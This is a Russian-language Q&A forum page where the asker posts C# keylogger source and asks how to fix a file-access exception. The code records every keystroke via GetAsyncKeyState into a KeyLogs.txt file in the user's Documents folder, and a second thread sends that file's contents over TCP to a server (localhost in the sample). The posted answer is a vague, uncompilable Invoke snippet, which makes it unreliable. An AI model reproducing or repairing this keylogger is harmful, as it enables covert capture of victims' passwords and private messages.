Процесс не может получить доступ к файлу, так как этот файл используется другим процессом - C# (187420)
Формулировка задачи:
Программа отправляет на сервер сообщение из файла(должна), но выдаёт исключение "Процесс не может получить доступ к файлу, так как этот файл используется другим процессом." Вот код
Как исправить ошибку?
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static void Main(string[] args)
{
new Thread(Server).Start();
Starts();
}
//
public static void Server()
{
TcpClient client = new TcpClient();
client.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 2200));
//Здесь передаём данные серверу
StreamReader srFile = new StreamReader("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt");
string[] str = new string[2024];
string s = null;
while ((s = srFile.ReadLine()) != null) {
for(int i = 0; i < str.Length; i++)
{
str[i] = s;
s = null;
}
}
srFile.Close();
StreamWriter sw = new StreamWriter(client.GetStream());
sw.AutoFlush = true;
for (int j = 0; j < str.Length; j++)
{
sw.WriteLine(str[j]);
}
}
static void Starts()
{
while (true)
{
Thread.Sleep(10);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
Console.WriteLine((Keys)i);
string toStringKeys = Convert.ToString((Keys)i);
File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
break;
}
}
}
}
}
}Решение задачи: «Процесс не может получить доступ к файлу, так как этот файл используется другим процессом»
textual
Листинг программы
Action syn = () =>
{
//Тут код который вызывает ошибку.
// наверное это File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
};
Invoke(syn)